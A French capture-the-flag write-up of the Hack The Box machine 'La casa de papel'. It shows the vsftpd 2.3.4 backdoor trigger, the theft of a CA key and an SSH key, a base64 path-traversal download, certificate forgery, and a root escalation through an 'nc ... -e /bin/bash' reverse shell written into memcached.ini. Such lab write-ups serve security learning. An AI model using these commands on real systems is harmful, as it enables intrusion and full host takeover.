Hack The Box – Write Up – La casa de papel

Hack The Box – Write Up – La casa de papel

Commençons cette machine par un habituel nmap.

root@test:~/htb/@lacasadepapel# nmap -sC -sV -A 10.10.10.131
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-25 17:46 CEST
Nmap scan report for lacasadepapel.htb (10.10.10.131)
Host is up (0.35s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js Express framework
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
| tls-alpn: 
|_  http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=7/25%OT=21%CT=1%CU=44450%PV=Y%DS=2%DC=T%G=Y%TM=5D39CF5
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW6%O2=M54DST11NW6%O3=M54DNNT11NW6%O4=M54DST11NW6%O5=M54DST1
OS:1NW6%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Unix

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   147.43 ms 10.10.14.1
2   525.08 ms lacasadepapel.htb (10.10.10.131)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.80 seconds

Il y a beaucoup de services sur cette machine, FTP, SSH, HTTP et HTTPS. Nous pouvons déjà retenir le domaine lacasadepapel.htb permettant de se connecter sur le HTTPS. Aussi, remarquons le serveur FTP. Si on suit l’actualité des failles la version 2.3.4 nous saute aux yeux. Une backdoor est disponible dans cette version. Sinon une simple recherche sur internet permet de découvrir cette information.

Rajoutons le domaine dans notre fichier etc/hosts afin que l’on puisse explorer le serveur HTTPS.

Exploitons la backdoor du serveur FTP. Il suffit de se connecter avec le login qwertyuuu:) et le mot de passe qweerrtt. Une fois validé le port 6200 est ouvert et nous pouvons nous y connecter.

Nous voilà avec un shell bien particulier le Psy Shell écrit en PHP. Nous pouvons soit rechercher sur internet des informations sur ce shell soit essayer de taper direct help qui donne alors la liste des commandes disponibles.

Nous allons dans un premier temps essayer de lister les variables disponibles en effectuant la commande ls. Nous découvrons une variable $tokyo. Nous pouvons grâce à la commande show obtenir le code de la class.

show $tokyo
  > 2| class Tokyo {
    3| 	private function sign($caCert,$userCsr) {
    4| 		$caKey = file_get_contents('/home/nairobi/ca.key');
    5| 		$userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    6| 		openssl_x509_export($userCert, $userCertOut);
    7| 		return $userCertOut;
    8| 	}
    9| }

Une clé est présente dans /home/nairobi/ca.key permettant de signer des certificats. Essayons donc de récupérer ce fichier. Parcourons un peu le serveur pour en savoir plus.

root@test:~/htb/@lacasadepapel# nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
$a = scandir('/home');
=> [
     ".",
     "..",
     "berlin",
     "dali",
     "nairobi",
     "oslo",
     "professor",
   ]
$a = scandir('/home/nairobi');
=> [
     ".",
     "..",
     "ca.key",
     "download.jade",
     "error.jade",
     "index.jade",
     "node_modules",
     "server.js",
     "static",
   ]
$a = file_get_contents('/home/nairobi/ca.key') 
=> """
   -----BEGIN PRIVATE KEY-----\n
   MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb\n
   7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/\n
   2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl\n
   uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M\n
   YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp\n
   s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us\n
   PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V\n
   Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89\n
   1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ\n
   /CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+\n
   q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr\n
   uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd\n
   I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og\n
   7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE\n
   G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn\n
   sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH\n
   CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y\n
   sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI\n
   ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2\n
   zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/\n
   ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC\n
   9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M\n
   WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM\n
   7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR\n
   aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc\n
   53udBEzjt3WPqYGkkDknVhjD\n
   -----END PRIVATE KEY-----\n
   """

Nous avons pu récupérer notre clé privée, et aussi découvrir les autres utilisateurs présents sur le serveur. Nous pouvons aussi remarquer la présence d’un serveur node.js.

Continuons de lister tous les dossiers que nous puissions obtenir le maximum d’informations sur l’architecture.

$a = scandir('/home/berlin');
=> [
     ".",
     "..",
     ".ash_history",
     ".ssh",
     "downloads",
     "node_modules",
     "server.js",
     "user.txt",
   ]
$a = scandir('/home/berlin/.ssh/');
PHP Warning:  scandir(/home/berlin/.ssh/): failed to open dir: Permission denied in phar://eval()'d code on line 1
$a = scandir('/home/oslo');
=> [
     ".",
     "..",
     "Maildir",
     "inbox.jade",
     "index.jade",
     "node_modules",
     "package-lock.json",
     "server.js",
     "static",
   ]
$a = scandir('/home/dali');
=> [
     ".",
     "..",
     ".ash_history",
     ".config",
     ".qmail-default",
     ".ssh",
     "server.js",
   ]
$a = scandir('/home/dali/.ssh');
=> [
     ".",
     "..",
     "authorized_keys",
     "known_hosts",
   ]
$a = scandir('/home/professor');                      
=> [
     ".",
     "..",
     ".ash_history",
     ".ssh",
     "memcached.ini",
     "node_modules",
   ]
$a = scandir('/home/professor/.ssh');  
PHP Warning:  scandir(/home/professor/.ssh): failed to open dir: Permission denied in phar://eval()'d code on line 1
$a = scandir('/home/berlin/downloads');
=> [
     ".",
     "..",
     "SEASON-1",
     "SEASON-2",
     "Select a season",
   ]
$a = scandir('/home/berlin/downloads/SEASON-1');
=> [
     ".",
     "..",
     "01.avi",
     "02.avi",
     "03.avi",
     "04.avi",
     "05.avi",
     "06.avi",
     "07.avi",
     "08.avi",
     "09.avi",
     "10.avi",
     "11.avi",
     "12.avi",
     "13.avi",
     "Donwload a video",
   ]

Ainsi nous pouvons remarquer la présence d’une clé ssh qu’il serait intéressant de récupérer pour se connecter directement au serveur. Nous pouvons aussi en déduire qu’un des sites du serveur permet de télécharger des épisodes de La Casa De Papel. Vu les fichiers présents comme Download a video nous pouvons imaginer que le système se base sur les fichiers. Donc une LFI vient en tête.

Connectons nous au site.

Rien de bien particulier. Je n’ai pas pris le temps de scanner le QRCode. J’attends de tout explorer. Allons donc sur le https.

Voilà quelque chose d’intéressant. L’accès est restreint. Le message est clair il nous faut un certificat. Cela tombe bien car nous venons de récupérer une clé privée qui va certainement nous être utile. Avant tout renseignons-nous sur le fonctionnement de l’authentification.

Si on a aucune idée de rien nous pouvons juste taper dans google provide a client certificate où bien nous pouvons faire une recherche plus précise sur node.js et express.js.

Nous tombons très rapidement sur un article très intéressant (https://medium.com/@sevcsik/authentication-using-https-client-certificates-3c9d270e8326) qui nous donnera toutes les informations nécessaires pour comprendre et générer un certificat.

Nous remarquons que nous avons besoin du certificat du serveur. Rien de plus simple nous exportons le certificat SSL.

Nous avons maintenant le certificat serveur et la clé privée d’un utilisateur. Il suffit de suivre les étapes une par une pour générer notre certificat.

openssl req -newkey rsa:4096 -keyout alice_key.pem -out alice_csr.pem -nodes -days 365 -subj "/CN=Alice"
openssl x509 -req -in alice_csr.pem -CA server.pem -CAkey ca.key -out test2_cert.pem -set_serial 01 -days 365
openssl pkcs12 -export -clcerts -in test2_cert.pem -inkey alice_key.pem -out alice.p12

Importons ce certificat dans le navigateur :


Connectons-nous au site maintenant :

Nous voilà connectés :

Comme nous avons auparavant fouiller un peu le serveur on remarque tout de suite que les données affichées sont le reflet des fichiers du répertoire downloads présent dans l’utilisateur berlin.

Nous pouvons télécharger les fichiers :

Le lien de téléchargement comme vous pouvez le constater ressemble à ce modèle :

https://lacasadepapel.htb/file/U0VBU09OLTEvMDEuYXZp

C’est bien-sûr offusqué avec base64.

U0VBU09OLTEvMDEuYXZp une fois décodé donne SEASON-1/01.avi.

Nous allons donc essayer de télécharger directement le fichier user.txt. Comme nous avons le système de fichier nous pouvons tenter ce chemin : ../user.txt. Une fois encodé l’url ressemble donc à ça :

https://lacasadepapel.htb/file/Li4vdXNlci50eHQ=

Et ça marche nous récupérons le flag user :

Téléchargeons aussi le fichier id_rsa présent dans le répertoire de berlin. Encodons en base64 ../.ssh/id_rsa et téléchargeons le fichier.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAotH6Ygupi7JhjdbDXhg2f9xmzxaDNdxxEioAgH2GjUeUc4cJeTfU
/yWg1vyx1dXqanfwAzYOQLUgO9/rDbI9y51rTQnLhHsp/iFiGdvDO5iZwLNrwmzVLxgGc+
mNac3qxHcuHx7q+zQHB8NfU/qzyAL2/xsRkzBODRg21tsVqnTV83T8CFSBUO2jzitHFNjv
YbacP+Jn9Q5Y2HRdE03DWnAJJ7zk4SWWicM3riuuYyeqV6OYKboHwi+FB94Yx1xaPFGP7T
0jnBU3molURhKKolNqY78PE5qYplO/eO5H/7vKbrF7J5VtsVpvGQsmjqUhQK/GoYrMudIh
cfQSMUnpgWXYtCnIpBa53aY/fl0XYpL9a1ZQh1iGm4oleVnZNvqMa4mb+8kC8k3WDmw9pq
/W3eGVQ6Xeyj/4kUENe1Q8xj9BIXLZJwXYHtACLS4PaKZSRaFSjkc/26/T2958f2oBqJLf
+oxiydgcTI2vC34OYwwS7cOcSsS4HivUC6K7oJJHw3nUNoA2ge3cwiO6bNHrEKMJWOrMpp
9UH9BbQ/u7k5Ap7QF8yBfrdC64EAUzyZJXWde1NhSNjiI0rBqzCPZQGSOLEIFAwzU0bMIu
Ju4JIQOAH+3tfoh8ccUdNcmfH7LaT7pF3VYwyoPMowLpA8fG4FXGyvoyrfeTXC6GY0+1NV
UAAAdQRqG3BkahtwYAAAAHc3NoLXJzYQAAAgEAotH6Ygupi7JhjdbDXhg2f9xmzxaDNdxx
EioAgH2GjUeUc4cJeTfU/yWg1vyx1dXqanfwAzYOQLUgO9/rDbI9y51rTQnLhHsp/iFiGd
[...]

Maintenant que nous avons cette clé privée, essayons de nous connecter en SSH sur la machine.

Ça commence mal. Avec l’utilisateur berlin la connexion ne fonctionne pas. Tentons avec les autres utilisateurs découverts. Finalement nous pouvons nous connecter avec l’utilisateur professor :

Dans le dossier du professor nous avons les fichiers suivants :

lacasadepapel [~]$ ls -alh
 total 24
 drwxr-sr-x    4 professo professo    4.0K Jul 25 17:51 .
 drwxr-xr-x    7 root     root        4.0K Feb 16 18:06 ..
 lrwxrwxrwx    1 root     professo       9 Nov  6  2018 .ash_history -> /dev/null
 drwx------    2 professo professo    4.0K Jan 31 21:36 .ssh
 -rw-r--r--    1 root     root          88 Jan 29 01:25 memcached.ini
 drwxr-sr-x    9 root     professo    4.0K Jan 29 01:31 node_modules
 -rwsrwxrwx    1 professo professo     288 Jul 25 18:05 server.js

Téléchargeons pspy64 sur la machine et regardons ce qui tourne sous l’utilisateur root.

Nous remarquons un processus qui se lance régulièrement que nous avons déjà vu dans le dossier professor

2019/07/25 18:10:20 CMD: UID=0    PID=7322   | sudo -u nobody /usr/bin/node /home/professor/memcached.js 

Il s’exécute sous root à interval régulier (donc cron) et lance nodejs en réalisant un sudo nobody. Allons regarder de plus près ces fichiers. Le fichier memcached.ini contient :

lacasadepapel [~]$ cat memcached.ini
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

C’est donc la commande qu’exécute cron. Seul problème nous ne pouvons pas modifier le fichier :

lacasadepapel [~]$ ls -alh
total 24
drwxr-sr-x    4 professo professo    4.0K Jul 25 17:51 .
drwxr-xr-x    7 root     root        4.0K Feb 16 18:06 ..
lrwxrwxrwx    1 root     professo       9 Nov  6  2018 .ash_history -> /dev/null
drwx------    2 professo professo    4.0K Jan 31 21:36 .ssh
-rw-r--r--    1 root     root          88 Jan 29 01:25 memcached.ini
drwxr-sr-x    9 root     professo    4.0K Jan 29 01:31 node_modules
-rwsrwxrwx    1 professo professo     261 Jul 25 18:10 server.js

Par contre nous pouvons supprimer le fichier et en créer un nouveau ! On installe notre reverse shell et on lancera notre fichier sous root.

lacasadepapel [~]$ rm memcached.ini
rm: remove 'memcached.ini'? y
lacasadepapel [~]$ echo -e "[program:memcached]\ncommand = sudo -u root /usr/bin/nc 10.10.15.59 1234 -e /bin/bash" > /home/professor/memcached.ini

Nous voilà connectés après quelques minutes :

Les commentaires sont clos.